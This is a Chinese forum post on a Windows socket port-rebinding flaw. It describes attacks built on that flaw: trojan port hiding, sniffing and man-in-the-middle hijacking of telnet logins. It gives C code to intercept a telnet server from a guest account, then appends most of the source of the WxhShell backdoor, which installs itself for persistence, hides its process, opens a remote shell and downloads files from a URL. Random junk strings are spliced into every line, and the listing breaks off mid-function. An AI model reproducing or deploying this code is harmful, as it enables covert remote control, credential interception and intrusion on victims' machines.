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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: L]I ;{Y  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); h}r64<Y2{  
%K[_;8  
  saddr.sin_family = AF_INET; I:M]#aFD  
6qg_&woJ3  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); N GP}Z4  
9nF;$ HB  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); DU(QQ53  
fvnj:3RK  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 }tue`">h  
60p*$Vqy  
  这意味着什么?意味着可以进行如下的攻击: h^o>9s/|/H  
|^p7:)cy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 L5$r<t<  
X:Z4QqT  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) ^-Ob($(\  
+ |(-7 "  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 OXc!^2 ^  
d Bn/_  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t Dn{;ED<  
Ca}T)]//  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 $j=c;+W  
KqC8ozup  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 '| (#^jAj  
8U}BSM_<2  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 MNd8#01q`  
2\Bt~;EIx  
  #include bV c"'RQ  
  #include &L6xagR7M  
  #include FVw;`{  
  #include    g2Pa-}{  
  DWORD WINAPI ClientThread(LPVOID lpParam);   NvCq5B$C  
  int main() %6Wv-:LY  
  { O6JH)Ka"S  
  WORD wVersionRequested; j"g[qF/*  
  DWORD ret; NKyaR_q`  
  WSADATA wsaData; O#Y;s;)i"  
  BOOL val;  <sdC#j  
  SOCKADDR_IN saddr; 17IT:T,'  
  SOCKADDR_IN scaddr; oAaUXkQE  
  int err; 2}:{}pw  
  SOCKET s; XIQfgrGZ  
  SOCKET sc; BPRhGG|9j  
  int caddsize; *$+k-BV  
  HANDLE mt; \/=w \Tj  
  DWORD tid;   /S9s%scAy  
  wVersionRequested = MAKEWORD( 2, 2 ); e$!01Y$HI  
  err = WSAStartup( wVersionRequested, &wsaData ); sXe=4`O  
  if ( err != 0 ) { ig G8L  
  printf("error!WSAStartup failed!\n"); S ?v^/F  
  return -1; xZ2^lsY  
  } ~Q<h,P  
  saddr.sin_family = AF_INET; ?+6w8j%\  
   `Hj{XIOx  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 >IZ|:lsxE  
2Lravb3  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); l6o?(!:!%  
  saddr.sin_port = htons(23); ['1JN UX  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) _19x`J3  
  { < zUU`  
  printf("error!socket failed!\n"); %&EDh2w>  
  return -1; )X-~+X91 S  
  } Iu(j"b#  
  val = TRUE; t<sy7e='  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 N=4`jy =  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) QN!.~>  
  { 1 /@lZ  
  printf("error!setsockopt failed!\n"); g+CTF67  
  return -1; ::'DWD1  
  } uh,~Cv XU]  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; N0U6N< w  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 T\}?  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 t4HDt\}&k~  
St9+/Md=jQ  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) Y;qA@|  
  { [Ol}GvzJ7  
  ret=GetLastError(); #fT1\1[]  
  printf("error!bind failed!\n"); ~r(/)w\  
  return -1; (y^[k {#  
  } 2R W^Nqc9  
  listen(s,2); Y<1]{4Wt  
  while(1) ';T=kS<^_  
  { #p<1@,  
  caddsize = sizeof(scaddr); fg[]>:ZT.  
  //接受连接请求 SU. 9;I !  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); `8 Q3=^)3  
  if(sc!=INVALID_SOCKET) gD$bn=  
  { G3 h&nH,>  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); /%O+]#$`0  
  if(mt==NULL) ^uG^XY&ItC  
  { Ed&;d+NM  
  printf("Thread Creat Failed!\n"); W=Y?_Oz  
  break; -s ]  
  } Xgq-r $O2X  
  } "l83O8 L  
  CloseHandle(mt); 2y_R05O0  
  } M{sn{  
  closesocket(s); Ojea~Y]Sr  
  WSACleanup(); =^nb-9.  
  return 0; e G8Zn<:s  
  }   RDFOUqS  
  DWORD WINAPI ClientThread(LPVOID lpParam) P1 \:hh  
  { +Ndo$|XCy]  
  SOCKET ss = (SOCKET)lpParam; 8Xo`S<8VS  
  SOCKET sc; FPg5!O%  
  unsigned char buf[4096]; :Ng4? +@r  
  SOCKADDR_IN saddr; ry99R|/d1  
  long num; pUTC~|j%:  
  DWORD val; V%kZ-P*  
  DWORD ret; zxo0:dyw7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 A'jw;{8NpF  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   l8O12  
  saddr.sin_family = AF_INET; ,2*^G;J1  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); L\O}q  
  saddr.sin_port = htons(23); +i %,+3#6  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) u<}PcI.  
  { ux8:   
  printf("error!socket failed!\n"); HTpoYxn(  
  return -1; ^;KL`  
  }  (C1@f!Z  
  val = 100; >pS @;t'  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) +y}4^3Vx^  
  { `#v(MK{9+V  
  ret = GetLastError(); EUVB>%P  
  return -1; d-cK`pSB  
  } ="M7F0k  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 0O_acO 4  
  { \I3={ii0  
  ret = GetLastError(); ]7#@lL;'0  
  return -1; \QpH~&QIS  
  } .bwKG`F  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Hh|a(Zq,  
  { O&ur |&v  
  printf("error!socket connect failed!\n"); ue YBD]3'  
  closesocket(sc); >'qkW$-95  
  closesocket(ss); AdCi*="m  
  return -1; p_K` `JE  
  } >_ )~"Ra  
  while(1) {e>E4(  
  { IV#kF}9$  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 KINKq`Sx  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 &HS6}  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 3n\eCdV-b<  
  num = recv(ss,buf,4096,0); e3|@H'~k  
  if(num>0) VaLx-RX  
  send(sc,buf,num,0); 8Gw0;Uu8D  
  else if(num==0) kO1.27D  
  break; 4sj:%% UE  
  num = recv(sc,buf,4096,0); ^CZ)!3qd1  
  if(num>0) =f4v: j}'|  
  send(ss,buf,num,0); =*ZQGM3w  
  else if(num==0) aa:97w~s0  
  break; &7gL&AY8  
  } L `7~~  
  closesocket(ss); ,g2oqq ?  
  closesocket(sc); .:<-E%  
  return 0 ; !3E %u$-}  
  } gEejLyOag  
9}\{0;9  
9`3%o9V9Y  
========================================================== f/_RtOSw  
Z(' iZ'55F  
下边附上一个代码,,WXhSHELL M-  f)\`I  
3jH8pO^  
========================================================== E0g` xf 6c  
_~^JRC[q  
#include "stdafx.h" |.]:#)^X?  
d"7l<y5  
#include <stdio.h> ]#UyYgPk  
#include <string.h> wEMh !jAbv  
#include <windows.h> *1Q~/<W  
#include <winsock2.h> dHE\+{K%-  
#include <winsvc.h> LuLnmnmB  
#include <urlmon.h> g?(h{r`  
OZHQnvZ  
#pragma comment (lib, "Ws2_32.lib") ws{2 0  
#pragma comment (lib, "urlmon.lib") L(a){<c  
(A6 -9g>  
#define MAX_USER   100 // 最大客户端连接数 /& qN yo  
#define BUF_SOCK   200 // sock buffer f*+eu @  
#define KEY_BUFF   255 // 输入 buffer h{dR)#)GF<  
hQm"K~SW=  
#define REBOOT     0   // 重启 (#4   
#define SHUTDOWN   1   // 关机 ac/=%om8u  
"R"7'sJMI  
#define DEF_PORT   5000 // 监听端口 (sngq{*%%z  
F<KUVe  
#define REG_LEN     16   // 注册表键长度 qk Cj33v  
#define SVC_LEN     80   // NT服务名长度 Z+mesj?.  
4 Ar\`{c>  
// 从dll定义API /uTU*Oe  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); B&tU~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); fgb%SIi?  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ~"<AYJlO  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); pH?tr  
MZpG1  
// wxhshell配置信息 ERql^Yr  
struct WSCFG { qqm7p ,j  
  int ws_port;         // 监听端口 mOLP77(o  
  char ws_passstr[REG_LEN]; // 口令 Cst:5m0!  
  int ws_autoins;       // 安装标记, 1=yes 0=no t+R8{9L-  
  char ws_regname[REG_LEN]; // 注册表键名 -Qs4 s  
  char ws_svcname[REG_LEN]; // 服务名 RJ#xq#l  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \= M*x  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 +) pO82  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 +/g/+B_b  
int ws_downexe;       // 下载执行标记, 1=yes 0=no E1atXx  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" p4 \r`  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Z#-:zD7_  
DI P(  
}; G8m:]!  
t@a2@dX|  
// default Wxhshell configuration C?UV3  
struct WSCFG wscfg={DEF_PORT, ZDmBuf q  
    "xuhuanlingzhe", 0;*1g47\  
    1, h\ZnUn_J  
    "Wxhshell", 1:3I G=  
    "Wxhshell", Q%.V\8#|V  
            "WxhShell Service", 4X0k1Fw)Y  
    "Wrsky Windows CmdShell Service", [Rz9Di ;  
    "Please Input Your Password: ", ``~7z;E%@  
  1, -ejH%CT  
  "http://www.wrsky.com/wxhshell.exe", B2QC#R  
  "Wxhshell.exe" [SluYmW  
    }; +Om(&\c(6  
vd@ _LcK  
// 消息定义模块 ryd*Ha">I  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; {x3"/sF  
char *msg_ws_prompt="\n\r? for help\n\r#>"; V!eq)L  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; @`qhQ  
char *msg_ws_ext="\n\rExit."; xt! DS0|*Y  
char *msg_ws_end="\n\rQuit."; *x^W`i   
char *msg_ws_boot="\n\rReboot..."; HG(J+ocn   
char *msg_ws_poff="\n\rShutdown..."; 7XE |5G  
char *msg_ws_down="\n\rSave to "; &_q&TEi  
'USol<  
char *msg_ws_err="\n\rErr!"; hOI| #(-  
char *msg_ws_ok="\n\rOK!"; R$'0<y8E*]  
B(x$ Ln"y[  
char ExeFile[MAX_PATH]; l;4},N  
int nUser = 0; PD @]2lY(  
HANDLE handles[MAX_USER]; ,W"[q~  
int OsIsNt; (T1)7%Xs  
<&n\)R4C1  
SERVICE_STATUS       serviceStatus; ,a N8`M  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ;&|MNN^  
gZ!vRO <%  
// 函数声明 wnaT~r@U'  
int Install(void); K{]!hm,[3  
int Uninstall(void); \t LfB[S.5  
int DownloadFile(char *sURL, SOCKET wsh); /{eD##vhP  
int Boot(int flag); sN6R0YW  
void HideProc(void); s~ZLnEb  
int GetOsVer(void); `QH-VR\_  
int Wxhshell(SOCKET wsl); NaeG2>1  
void TalkWithClient(void *cs); x|#R$^4CY  
int CmdShell(SOCKET sock); PcXz4?Q$  
int StartFromService(void); S#IlWU  
int StartWxhshell(LPSTR lpCmdLine); Cr?|bDv}o  
!J3dlUFRO  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); HZp}<7NR(7  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,KXS6:1%5Y  
)aW;w|#n  
// 数据结构和表定义 wS*An4%G  
SERVICE_TABLE_ENTRY DispatchTable[] = t'msgC6=>u  
{ 7Eo a~  
{wscfg.ws_svcname, NTServiceMain}, +,`Cv_O  
{NULL, NULL} -L;sv0  
}; XBd/,:q  
#0K122oY  
// 自我安装 oyQp"'|N  
int Install(void) Pr |u_^  
{ W\JbX<mQ  
  char svExeFile[MAX_PATH]; ]a4rA+NFLB  
  HKEY key; 89*txYmx  
  strcpy(svExeFile,ExeFile); RAw/Q$I  
~x:\xQti  
// 如果是win9x系统,修改注册表设为自启动 Ks|qJ3;  
if(!OsIsNt) { DnbT<oEL  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { [If%+mHdU  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); -;5WMX 6  
  RegCloseKey(key); AE1EZ#  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { (*{Y#XD{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {)E)&lL  
  RegCloseKey(key); ao2NwH##  
  return 0; EbEQ@6t  
    } "E4;M/  
  } !j'9>G{T  
} > /,7j:X  
else { PuKT0*_ 7  
OEz'&))J  
// 如果是NT以上系统,安装为系统服务 R>BZQugZ~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); dso6ZRx  
if (schSCManager!=0) _wMc7`6F  
{ %,HuG-L  
  SC_HANDLE schService = CreateService 84xA/BRW  
  ( F` /mcyf  
  schSCManager, El3Y1g3+3  
  wscfg.ws_svcname, \k?Fu=@  
  wscfg.ws_svcdisp, 5F#Q1gP-  
  SERVICE_ALL_ACCESS, BCH{0w^D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }.j<kmd  
  SERVICE_AUTO_START, b`?$;5  
  SERVICE_ERROR_NORMAL, oMM+af  
  svExeFile, -4  ~(*  
  NULL, F:p'%#3rU/  
  NULL, yV;_]_EO  
  NULL, 60 D0z  
  NULL, $ yd "bJK  
  NULL 74Fv9  
  ); Lye^G% {  
  if (schService!=0) S;pKL,d>r  
  { l~|x*JTq  
  CloseServiceHandle(schService); L'=mDb  
  CloseServiceHandle(schSCManager); 1}O&q6\"J  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); *fz]Q>2ga  
  strcat(svExeFile,wscfg.ws_svcname); o>(I_3J[p  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { * z,] mi%  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); rA<>k/a  
  RegCloseKey(key); ~ ZkSYW<  
  return 0; PtfxF]%H  
    } [^oTC;  
  } xqP DL9\  
  CloseServiceHandle(schSCManager); j c%  
} %}T' 3  
} *{_WM}G  
QqpXUyHp[  
return 1; F]_w~1 n5  
} }6U`/"RfcO  
^0 zWiX  
// 自我卸载 ,C4gA(')K  
int Uninstall(void) |wef[|@%  
{ |f9fq~'1e  
  HKEY key; 2P&KU%D)0s  
J|$(O$hYy  
if(!OsIsNt) { 2[^p6s[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { XsOz {?G  
  RegDeleteValue(key,wscfg.ws_regname); d7g3VF<j  
  RegCloseKey(key); GJpQcse%  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { uT")j,tz  
  RegDeleteValue(key,wscfg.ws_regname); #0;H'GO?c  
  RegCloseKey(key); +(a}S$C  
  return 0; h-0#h/u>M  
  } w6b\l1Z  
} xN^ngRg0  
} ?^y!}(  
else { |j?iD  
M/!5r  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); aPR0DZ@  
if (schSCManager!=0) G54,`uz2  
{ n@`D:;?{  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); E{):z g  
  if (schService!=0) etcpto=Mo  
  { BQ[,(T`+R  
  if(DeleteService(schService)!=0) { &CtWWKS"  
  CloseServiceHandle(schService); z}772hMB  
  CloseServiceHandle(schSCManager); p\>im+0oh  
  return 0; Mg7nv\6  
  } #$W bYL|  
  CloseServiceHandle(schService); 8y9`xRy  
  } Cob<N'.  
  CloseServiceHandle(schSCManager); #b^x!lR  
} h'QEwW  
} y<r@zb9  
B#zu< z  
return 1; EZ  N38T  
} 0j'H5>m"  
)MV`(/BC*  
// 从指定url下载文件 !)!<. x  
int DownloadFile(char *sURL, SOCKET wsh) '[T#d!T  
{ JDa=+\_  
  HRESULT hr; |._9;T-Yde  
char seps[]= "/"; cH== OM7&-  
char *token; KNI* :  
char *file; ?3=D-Xrb  
char myURL[MAX_PATH]; GS<aXh k  
char myFILE[MAX_PATH]; ~7kIe+V  
vt(A?$j|A  
strcpy(myURL,sURL); 1\hh,s  
  token=strtok(myURL,seps); P&6hk6#  
  while(token!=NULL) Q&JnF`*  
  { U]8 @  
    file=token; :!fP~(R'm  
  token=strtok(NULL,seps); |FR'?y1  
  } L`iC?<}  
J)148/  
GetCurrentDirectory(MAX_PATH,myFILE); JGLjx"Y  
strcat(myFILE, "\\"); JA")L0a_  
strcat(myFILE, file); #z( JYw,  
  send(wsh,myFILE,strlen(myFILE),0); x)^/3  
send(wsh,"...",3,0); RyAss0Sm^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); K6 {0`'x  
  if(hr==S_OK) y4^w8'%MC  
return 0; \G+uK:PC,  
else +nLsiC{&  
return 1; RhL!Z z  
Vm3e6Y,K  
} c:$W5j('Z  
]<Ugg  
// 系统电源模块 Za5bx,^  
int Boot(int flag) ~_;x o?@ba  
{ c@uNA0 p  
  HANDLE hToken; lZ\8$,B)  
  TOKEN_PRIVILEGES tkp; );m7;}gE  
j/C.='?%  
  if(OsIsNt) { ;Wo\MN  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); +!'rw D  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D>HX1LV  
    tkp.PrivilegeCount = 1; 6wmMg i_m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; tB,1+I=   
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); t%B ,ATW  
if(flag==REBOOT) { yv2&K=rZp  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [6$n  
  return 0; t9Sog~:'  
}  Z>O2  
else { t 7(#Cuv-  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) N1pw*<&  
  return 0; 88]UA  
} Zn-F!Lsv  
  } s}O9[_v  
  else { ya*KA.EGg  
if(flag==REBOOT) { '`+GC9VG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) xUKn  
  return 0; o1dECLQa  
} vz~QR i*  
else { 1TuN   
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) @Yl&Jg2l'  
  return 0; :X66[V&eH  
} u4W2 {  
} "1#piJ  
~boTh  
return 1; aYmC LLj  
} Ki8]+W37  
`Dn"<-9:  
// win9x进程隐藏模块 5Az4<  
void HideProc(void) S<-e/`p=H  
{ figCeJ!W4  
M?3N h;  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); >~D-\,d|f  
  if ( hKernel != NULL ) (b]r_|'  
  { b/yXE)3 X  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); t/3t69\x  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); YpGG^;M$  
    FreeLibrary(hKernel); SDW_Y^Tb  
  }  UE-+P  
IwR/4LYI  
return; U^xz>:~  
} \?|FB~.Ry  
8ph*S&H  
// 获取操作系统版本 G<8d=}  
int GetOsVer(void) pow.@  
{ 5*n3*rbU:  
  OSVERSIONINFO winfo; o\ M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); K).Gj2 $  
  GetVersionEx(&winfo); LzS)WjEN  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) AwC"c '  
  return 1; LXGlG  
  else _>k&,p]y  
  return 0; Lwzk<+>w^  
} +im>|  
ZbZCW:8>k  
// 客户端句柄模块 zS6oz=  
int Wxhshell(SOCKET wsl) HZ+l){u  
{ tr<iFT}C  
  SOCKET wsh; ?Ji nX'z  
  struct sockaddr_in client; qi&;2Yv  
  DWORD myID; C.& R,$  
@gn}J'  
  while(nUser<MAX_USER) fBi6% #  
{ X<j(AAHE  
  int nSize=sizeof(client); $U]KIHb  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); P>i!f!o*I  
  if(wsh==INVALID_SOCKET) return 1; %#zqZ|q  
UP})j.z  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); cGE,3dsF[  
if(handles[nUser]==0) { +$zgg  
  closesocket(wsh); &`9p.  
else |_Tp:][mf  
  nUser++; sgc pH  
  } X }W4dpU,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Ow@ }6&1  
/jtU<uX  
  return 0; v{T%`WuPRf  
}  s_p\ bl.  
FVgE^_  
// 关闭 socket /3!c ;(  
void CloseIt(SOCKET wsh) DC-tBbQkk  
{ }C<<l5/ z  
closesocket(wsh); !I8m(axW  
nUser--; T- |36Os4  
ExitThread(0); ?q %&"  
} [T<Z?  
UrP jZ:K'  
// 客户端请求句柄 LO&/U4:  
void TalkWithClient(void *cs) Sp2<rI  
{ 1c%ee$Q  
K4{1}bU{>  
  SOCKET wsh=(SOCKET)cs; /4!.G#DLQ  
  char pwd[SVC_LEN]; Si:$zGL$(  
  char cmd[KEY_BUFF]; G|h@O'  
char chr[1]; *MG*]\D  
int i,j; 5r-OE-U{  
.:nV^+)  
  while (nUser < MAX_USER) { C~ r(*nr  
A.%MrgOOX  
if(wscfg.ws_passstr) { ,?k~>,{3  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0<n*8t?A-  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); wt(Hk6/B  
  //ZeroMemory(pwd,KEY_BUFF); hYI0S7{G  
      i=0; 1e'Ez4*  
  while(i<SVC_LEN) { jk\04k  
NO%x 2dx0  
  // 设置超时 ?}tWI7KI  
  fd_set FdRead; n$03##pf  
  struct timeval TimeOut; b)e';M  
  FD_ZERO(&FdRead); e0nr dM[i  
  FD_SET(wsh,&FdRead); )^)j=xs  
  TimeOut.tv_sec=8; 6 #vc"5@M  
  TimeOut.tv_usec=0; !go$J]T  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); + bU*"5"  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 'WC> _ L  
'PBuf:9lN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); z K+C&X  
  pwd=chr[0]; %^?yI  
  if(chr[0]==0xd || chr[0]==0xa) { u |EECjJn  
  pwd=0; a(a 2xa  
  break; !SxZN dv  
  } [l7 G9T}/[  
  i++; 0?0$6F  
    } .GM}3(1fX`  
] C&AU[U*  
  // 如果是非法用户,关闭 socket !VXs yH3r5  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); }nO[;2Na  
} M#?^uu'  
p3L0'rY|+  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); mx ]a@tu  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); v1m'p:7uGB  
w9c^IS  
while(1) { p#  4@  
'/[9Xwh9  
  ZeroMemory(cmd,KEY_BUFF); Shm$>\~=  
"+@>!U  
      // 自动支持客户端 telnet标准   iYE7BUH=  
  j=0;  uK_R#^  
  while(j<KEY_BUFF) { pT ;{05  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); .vm.g=-q  
  cmd[j]=chr[0]; (0c L! N;;  
  if(chr[0]==0xa || chr[0]==0xd) { bY>JLRQJ-  
  cmd[j]=0; c@ea ;Cv  
  break; pp!>:%  
  } 1/l;4~p7'  
  j++; {Iu9%uR>@  
    } <8SRt-Cr  
KVC$o+<'`%  
  // 下载文件 |rhCQ"H  
  if(strstr(cmd,"http://")) { $zR[2{bg  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); &AS<2hB  
  if(DownloadFile(cmd,wsh)) ,];4+&|8kW  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); F-g7*  
  else -2`D(xC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '(4#He?Gd  
  } D{J+}*y  
  else { v)VhR2d3  
</%n:<z4  
    switch(cmd[0]) { !K~L&.\T  
  j_I  
  // 帮助 @|1/yQgi  
  case '?': { * I{)8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); :/1/i&a  
    break; 0nDlqy6b1b  
  } JOA_2qa>\  
  // 安装 Bp.z6x4  
  case 'i': { QSNLo_z  
    if(Install()) YdT-E  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); r8uc.z2%  
    else t622b?w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); '~Z#h  P  
    break; FX6 *`  
    } =q4 QBAW  
  // 卸载 vA(')"DDT  
  case 'r': { kV mJG#  
    if(Uninstall()) 1q&gTvIp  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?d? cD  
    else )iiwxpdw  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); [8b,}i 1  
    break; a33SY6.  
    } %mv9+WJN.  
  // 显示 wxhshell 所在路径 x,3oa_'E  
  case 'p': { +"!=E erKi  
    char svExeFile[MAX_PATH]; }"{NW!RfP  
    strcpy(svExeFile,"\n\r"); UhX`BGpM{  
      strcat(svExeFile,ExeFile); ` s}v6  
        send(wsh,svExeFile,strlen(svExeFile),0); R8ui LZd  
    break; %L^S;v3  
    } /JOEnQ5X\!  
  // 重启 u{@b_7 5Y  
  case 'b': { -54  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); fV` R7m.  
    if(Boot(REBOOT)) f7Dx.-  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); q%/ciPgE  
    else { g3i !>  
    closesocket(wsh); luEP5l2&  
    ExitThread(0); }: W6Bo-|  
    }  FsbX{  
    break; NyJ=^=F#  
    } @$ea-fK??  
  // 关机 ~ 3HI;  
  case 'd': { z [qO5z~I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o#IQz_  
    if(Boot(SHUTDOWN)) E7*z.3  
